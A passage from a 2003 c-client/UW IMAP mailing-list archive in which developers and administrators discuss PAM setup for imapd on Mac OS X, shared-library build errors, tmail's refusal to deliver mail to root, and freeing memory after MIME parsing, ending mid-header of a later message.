hANEPINL019717 for ; Sun, 23 Nov 2003 06:25:18 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hANEPG5B007259 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 23 Nov 2003 06:25:17 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hANENh1r012122; Sun, 23 Nov 2003 06:23:43 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hANEKFuL022842 for ; Sun, 23 Nov 2003 06:20:16 -0800 Received: from athalia.bayswaterfarm.com (athalia.bayswaterfarm.com [217.169.11.203]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hANEKDb3020810 for ; Sun, 23 Nov 2003 06:20:14 -0800 Received: from theodora.bayswaterfarm.com ([217.169.11.202]) by athalia.bayswaterfarm.com with esmtp (Exim 4.24) id HOT6HI-0000YF-Q4; Sun, 23 Nov 2003 14:20:06 +0000 Message-Id: <2147483647.1069597206@theodora.bayswaterfarm.com> Date: Sun, 23 Nov 2003 14:20:06 +0000 Reply-To: Chris Bunch Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Bunch To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Second patch for imapd under Panther MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='QUOTED_EMAIL_TEXT -0.832' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Friday, November 21, 2003 8:30 am -0800 Mark Crispin wrote: > On Fri, 21 Nov 2003, Chris Bunch wrote: >> This builds fine omm under Mac OSX 10.3 Panther with "make oxp >> PASSWDTYPE=pam SSLTYPE=unix SSLDIR=/usr" > > If you use "make oxp" you do not need "PASSWDTYPE=pam". > > Why do you think you need SSLDIR=/usr ? > >> (SSLTYPE=unix because I need both standard port 143 access locally and >> SSL for remote access: this is working fine on MacOS X 10.2 Jaguar)) > > If you use a good quality IMAP client, it will negotiate TLS on port 143 > and you would not need SSLTYPE=unix. SSLTYPE=unix is unsafe since if > anyone installs a sniffer on your network they can steal passwords. > >> I can connect fine via 143 but it doesn't authenticate login: > > Did you set up PAM for IMAP? You need an /etc/pam.d/imap (or whatever > MacOS uses). > > Note that I am not a MacOS expert. > > -- Mark -- Thanks Mark: > If you use "make oxp" you do not need "PASSWDTYPE=pam". > Why do you think you need SSLDIR=/usr ? Agreed. Works fine without. > If you use a good quality IMAP client, it will negotiate TLS on port 143 > and you would not need SSLTYPE=unix. Also agreed. Mulberry does this fine. Entourage seems not to. However some of my users (including me) use SquirrelMail/PHP occasionally for web access. I have SM/PHP running on the same box as imapd and at the moment the only way I can get them to communicate is via standard authentication on 143. [This is probably a local PHP configuration issue as I believe others have been more successful: my next project!]. External access to 143 on this box is firewalled. Not ideal, certainly, but it works. Regards Chris _______________________________ From pinedev@shivax2.cac.washington.edu Sun Nov 23 06:27:23 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 23 Nov 2003 06:27:23 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hANERMNL019748 for ; Sun, 23 Nov 2003 06:27:22 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hANERL5B007299 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 23 Nov 2003 06:27:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hANEQ3op012570; Sun, 23 Nov 2003 06:26:04 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hANENIuL018038 for ; Sun, 23 Nov 2003 06:23:18 -0800 Received: from athalia.bayswaterfarm.com (athalia.bayswaterfarm.com [217.169.11.203]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hANENG0m028291 for ; Sun, 23 Nov 2003 06:23:17 -0800 Received: from theodora.bayswaterfarm.com ([217.169.11.202]) by athalia.bayswaterfarm.com with esmtp (Exim 4.24) id HOT6MQ-0000YU-QL; Sun, 23 Nov 2003 14:23:14 +0000 Message-Id: <2147483647.1069597394@theodora.bayswaterfarm.com> Date: Sun, 23 Nov 2003 14:23:14 +0000 Reply-To: Chris Bunch Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Bunch To: Beernd Noordkamp Cc: c-client@u.washington.edu Subject: Re: Second patch for imapd under Panther In-Reply-To: References: <2147483647.1069412074@theodora.bayswaterfarm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=III, Probability=3%, Report='REFERENCES 0, QUOTED_EMAIL_TEXT -0.832, IN_REP_TO -0.847' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Friday, November 21, 2003 12:10 pm +0100 Beernd Noordkamp wrote: > On Fri, 21 Nov 2003, Chris Bunch wrote: >> This builds fine omm under Mac OSX 10.3 Panther with "make oxp >> PASSWDTYPE=pam SSLTYPE=unix SSLDIR=/usr" >> >> (SSLTYPE=unix because I need both standard port 143 access locally and >> SSL for remote access: this is working fine on MacOS X 10.2 Jaguar)) >> >> I can connect fine via 143 but it doesn't authenticate login: > (...) >> My mail client also gets an invalid account ID or password rejection when >> trying with SSL. > > Did you do a > sudo cp /etc/pam.d/login /etc/pam.d/imap > ? > > If not, PAM won't accept logins for imap. You need a copy called pop if > you need that service, too. > > Hope this helps. > Best regards, > > Beernd Many thanks Beernd: spot on! I had a file in /etc/pam.d/imap but it had the wrong things in it. Chris ________________________________ From pinedev@shivax2.cac.washington.edu Mon Nov 24 10:25:44 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Nov 2003 10:25:44 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAOIPiNL001093 for ; Mon, 24 Nov 2003 10:25:44 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAOIPg3F021498 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 24 Nov 2003 10:25:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hAOIOdop011346; Mon, 24 Nov 2003 10:24:41 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAOINAuL030058 for ; Mon, 24 Nov 2003 10:23:10 -0800 Received: from smtpout.mac.com (A17-250-248-87.apple.com [17.250.248.87]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAOIN9nI026034 for ; Mon, 24 Nov 2003 10:23:09 -0800 Received: from mac.com (smtpin08-en2 [10.13.10.153]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id hAOIN2MH018891; Mon, 24 Nov 2003 10:23:02 -0800 (PST) Received: from [192.168.1.29] ([216.253.6.200]) (authenticated bits=0) by mac.com (Xserve/smtpin08/MantshX 3.0) with ESMTP id hAOIN1xO017081; Mon, 24 Nov 2003 10:23:02 -0800 (PST) Message-Id: <363DD094-1EAB-11D8-AD20-0030654E52CA@mac.com> Date: Mon, 24 Nov 2003 13:22:50 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dustin Sias To: c-client@u.washington.edu Cc: dustin@coretechnologies.net Subject: Mac OS X DSO Build Problems Mime-Version: 1.0 (Apple Message framework v606) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_SHORT_DENSE -0.301' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm trying to build the c-client as a shared library (.so) under Macosx. In previous systems I just used the static libs to build imap support into PHP4. This build is for fink (fink.sf.net) so users can add or delete imap support from PHP4. However I receive the following undefined symbols while building the c-client. This causes PHP4 to fail to load while IMAP support is enabled in php.ini. What is the best method to add these functions to the c-client build? I can see they are part of mailutils, but seeing that PHP4 with static c-client works fine, these functions appear never to be called by the php4-imap-extension. I could use help to get a working shared library of the c-client. Why are these function not include with the c-cleint by default? ---- ld: warning undefined symbols: _mm_fatal _mm_log _mm_login _mm_dlog _mm_exists _mm_expunged _mm_flags _mm_notify _mm_searched _mm_status _mm_lsub _mm_list _mm_critical _mm_diskerror _mm_nocritical echo osx > OSTYPE Best Regards, -Dustin -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 24 10:30:37 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Nov 2003 10:30:37 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAOIUbNL001478 for ; Mon, 24 Nov 2003 10:30:37 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAOIUY3F021694 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 24 Nov 2003 10:30:35 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hAOITYAk005164; Mon, 24 Nov 2003 10:29:34 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAOISiuL016196 for ; Mon, 24 Nov 2003 10:28:44 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAOIShnJ027812 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 24 Nov 2003 10:28:43 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout3.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAOISWfS005958; Mon, 24 Nov 2003 10:28:36 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAOISWGf030090; Mon, 24 Nov 2003 10:28:32 -0800 Message-Id: Date: Mon, 24 Nov 2003 10:28:32 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dustin Sias Cc: c-client@u.washington.edu, dustin@coretechnologies.net Subject: Re: Mac OS X DSO Build Problems In-Reply-To: <363DD094-1EAB-11D8-AD20-0030654E52CA@mac.com> References: <363DD094-1EAB-11D8-AD20-0030654E52CA@mac.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='REFERENCES 0, QUOTED_EMAIL_TEXT -0.832, IN_REP_TO -0.847, EMAIL_ATTRIBUTION -1.628' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 24 Nov 2003, Dustin Sias wrote: > I could use help to get a working shared library of the c-client. Why > are these function not include with the c-cleint by default? > ld: warning undefined symbols: > _mm_fatal > _mm_log > _mm_login > _mm_dlog > _mm_exists > _mm_expunged > _mm_flags > _mm_notify > _mm_searched > _mm_status > _mm_lsub > _mm_list > _mm_critical > _mm_diskerror > _mm_nocritical Those functions are not part of c-client. They are callbacks in the application program. Unless you are regularly running more than one application that uses c-client simultaneously, what benefit do you think that you get by making c-client a shared library? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Nov 25 07:53:34 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Nov 2003 07:53:34 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAPFrYNL015856 for ; Tue, 25 Nov 2003 07:53:34 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAPFrW3F027414 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 25 Nov 2003 07:53:33 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hAPFp1Fe016728; Tue, 25 Nov 2003 07:51:05 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAPFnZuL021140 for ; Tue, 25 Nov 2003 07:49:35 -0800 Received: from goofy.uhoo.de (goofy.uhoo.de [217.11.51.18]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAPFnWnI001218 for ; Tue, 25 Nov 2003 07:49:33 -0800 Received: from floeff1 (pD9E3BF9C.dip.t-dialin.net [217.227.191.156]) by goofy.uhoo.de (SMTP) with ESMTP id 4DA5325C01A for ; Tue, 25 Nov 2003 16:49:30 +0100 (CET) Message-Id: <00ec01c3b36b$b2afbcc0$0500a8c0@effenberger> Date: Tue, 25 Nov 2003 16:49:11 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Florian Effenberger" To: Subject: fully remove product and version information MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Uwash-Spam: Gauge=XIIIIII, Probability=16%, Report='PRIORITY_NO_NAME 1.023, X_NJABL_DUL 1, RCVD_IN_NJABL_ORG 0, SIGNATURE_SHORT_DENSE -0.301' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I would like to see an option in the configuration files to fully remove product and version information from the server's protocol. It is part of my security concept to NOT show anything like that to outside users. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 25 09:41:31 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Nov 2003 09:41:30 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAPHfUNL021727 for ; Tue, 25 Nov 2003 09:41:30 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAPHfT5B023787 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 25 Nov 2003 09:41:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hAPHPQFe004890; Tue, 25 Nov 2003 09:25:26 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAPHORuL016606 for ; Tue, 25 Nov 2003 09:24:27 -0800 Received: from mail.ntplx.net (mail.ntplx.net [204.213.176.10]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAPHOPLl031777 for ; Tue, 25 Nov 2003 09:24:26 -0800 Received: from localhost ([65.75.40.82]) by mail.ntplx.net (8.12.10/8.12.9/NETPLEX) with ESMTP id hAPHOMf5002622 for ; Tue, 25 Nov 2003 12:24:23 -0500 (EST) Received: from 192.168.1.151 ([192.168.1.151]) by webmail.ericandthene.com (IMP) with HTTP for ; Tue, 25 Nov 2003 12:23:26 -0500 Message-Id: <1069781006.3fc3900e0a64f@webmail.ericandthene.com> Date: Tue, 25 Nov 2003 12:23:26 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eric Loveland To: c-client@u.washington.edu Subject: tmail send to root MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Virus-Scanned: by AMaViS and CyberSoft VFind (mail.ntplx.net) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_SHORT_DENSE -0.301' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I tried using tmail as a drop-in replacement for mail.local with sendmail under FreeBSD 5.1 because my users' inboxes are in mbx format. My problem is that when my daily cron jobs run, the output is sent to my root account but the messages are deferred with the following error: tmail[61281]: mail to root prohibited (tmail works fine with other accounts) I noticed that tmail.c states: "big security hole if this is allowed" where it fails with this message if mail is being sent to root. First of all, why is this a security hole and secondly, how can I use tmail with sendmail and still have my cron messages (and other mail sent to root) go to my root mailbox? Thanks, Eric Loveland ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 25 10:47:27 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Nov 2003 10:47:27 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAPIlRNL025371 for ; Tue, 25 Nov 2003 10:47:27 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAPIlP5B026299 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 25 Nov 2003 10:47:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hAPIjmFe013678; Tue, 25 Nov 2003 10:45:48 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAPIiFuL037774 for ; Tue, 25 Nov 2003 10:44:15 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu9.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAPIiEuY022209 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 25 Nov 2003 10:44:14 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout6.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAPIhhR5006253; Tue, 25 Nov 2003 10:43:43 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAPIhhx0000652 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 25 Nov 2003 10:43:43 -0800 Message-Id: Date: Tue, 25 Nov 2003 10:43:44 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Eric Loveland Cc: c-client@u.washington.edu Subject: Re: tmail send to root In-Reply-To: <1069781006.3fc3900e0a64f@webmail.ericandthene.com> References: <1069781006.3fc3900e0a64f@webmail.ericandthene.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=III, Probability=3%, Report='INVALID_DATE 1.518, REFERENCES 0, QUOTED_EMAIL_TEXT -0.832, IN_REP_TO -0.847, EMAIL_ATTRIBUTION -1.628' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 25 Nov 2003, Eric Loveland wrote: > I noticed that tmail.c states: "big security hole if this is allowed" where it > fails with this message if mail is being sent to root. > First of all, why is this a security hole and If mail was allowed to root or any other UID 0 user, then tmail will happily append to any file on the system. > secondly, how can I use > tmail with sendmail and still have my cron messages (and other mail sent > to root) go to my root mailbox? Don't read mail as root (or any other UID 0 user). Don't deliver mail to root (or any other UID 0 user). Forward mail addressed to root to some userid which is not UID 0; this also applies to postmaster, abuse, and other system mailboxes. Use UID 0 solely for privileged system tasks. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Nov 28 02:04:12 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Nov 2003 02:04:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hASA4BNL023830 for ; Fri, 28 Nov 2003 02:04:11 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hASA4958027082 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 28 Nov 2003 02:04:10 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hASA2uop016114; Fri, 28 Nov 2003 02:02:57 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hASA1DuL029340 for ; Fri, 28 Nov 2003 02:01:14 -0800 Received: from atlantic-linux-1 (host214-232.pool8175.interbusiness.it [81.75.232.214]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hASA1AZT028497 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 28 Nov 2003 02:01:12 -0800 Received: from atanasdb (atanasdb.sparkmachine.com [193.68.171.70]) by atlantic-linux-1 (8.12.10/8.11.6) with SMTP id hASAwmtO002097 for ; Fri, 28 Nov 2003 11:58:50 +0100 Message-Id: <001301c3b596$93515a50$46ab44c1@atanasdb> Date: Fri, 28 Nov 2003 12:01:18 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Nasko" To: "cclient" Subject: Parsing and freeing memory MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0010_01C3B5A7.54DE5A50" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Uwash-Spam: Gauge=XXXXII, Probability=42%, Report='X_NJABL_OPEN_RELAY 3, PRIORITY_NO_NAME 1.023, HTML_50_70 0.305, RCVD_IN_NJABL_ORG 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0010_01C3B5A7.54DE5A50 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello guys I use Pine libraries for parsing a MIME message. Everything is OK but I'm worried for some potential memory leaks because = this parsing is done very intensively in my project. Here is what I do , and how I free.Do you find it right?=20 m_stream =3D mail_open (NIL,(char*)m_szMailBoxName.c_str(),NIL); = //1.Open the mail box where the message is=20 mail_fetchstructure (m_stream,1,&body); = //2.Fetch the mailstream=20 //3.recursively I go through the MIME message and fetch every part...... psBodyText =3D (unsigned char *) mail_fetchbody(m_stream,1,(char = *)section,&l); =20 //. 4 and for every part I decode=20 decoded =3D (unsigned char *)rfc822_qprint(psBodyText,l,&newLength); free(decoded); mail_close(m_stream); = //5.close the mailstream I though that after 4. I must have free(psBodyText) but if I use it it = gives me an error later when I use mail_close(m_stream) Well what do you think?Does this seem you "safe" ? Thanks in advance, Regards Nasko ------=_NextPart_000_0010_01C3B5A7.54DE5A50 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
     
    Hello guys I use Pine libraries for = parsing a MIME=20 message.
    Everything is OK but I'm worried for = some potential=20 memory leaks because this parsing is done very intensively in my=20 project.
    Here is what I do , and how I free.Do = you find=20 it right?
     
    m_stream =3D mail_open=20 (NIL,(char*)m_szMailBoxName.c_str(),NIL);    =    =20 //1.Open the mail box where the message is

    mail_fetchstructure=20 (m_stream,1,&body);        =    =20             =    =20             =    =20 //2.Fetch the mailstream
     
     
    //3.recursively I go through the MIME message and fetch every=20 part......
    psBodyText =3D (unsigned char *) = mail_fetchbody(m_stream,1,(char=20 *)section,&l);   
     
    //. 4 and for every part I decode
    decoded =3D (unsigned char=20 *)rfc822_qprint(psBodyText,l,&newLength);
    free(decoded);
     
    mail_close(m_stream);       =20             =    =20             =    =20             =    =20         //5.close the mailstream
     
     
    I though that after 4. I must have free(psBodyText) but if I use it = it=20 gives me an error later when I use mail_close(m_stream)
     
    Well what do you think?Does this seem you "safe" ?
     
    Thanks in advance,
    Regards Nasko
    ------=_NextPart_000_0010_01C3B5A7.54DE5A50-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Nov 29 09:02:59 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 29 Nov 2003 09:02:59 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hATH2xNL006478 for ; Sat, 29 Nov 2003 09:02:59 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hATH2v58002523 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 29 Nov 2003 09:02:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hATH1u1r013276; Sat, 29 Nov 2003 09:01:56 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hATH06uL014424 for ; Sat, 29 Nov 2003 09:00:06 -0800 Received: from lithtex.com (mail.lithtex.com [64.122.42.178]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hATH05ZS010158 for ; Sat, 29 Nov 2003 09:00:05 -0800 Received: from [192.168.1.100] (4.5.127.99) by lithtex.com with ESMTP (Eudora Internet Mail Server 3.0) for ; Sat, 29 Nov 2003 09:00:02 -0800 Message-Id: <81C529FC-228D-11D8-9964-0030657964BE@lithtex.com> Date: Sat, 29 Nov 2003 09:00:17 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eric 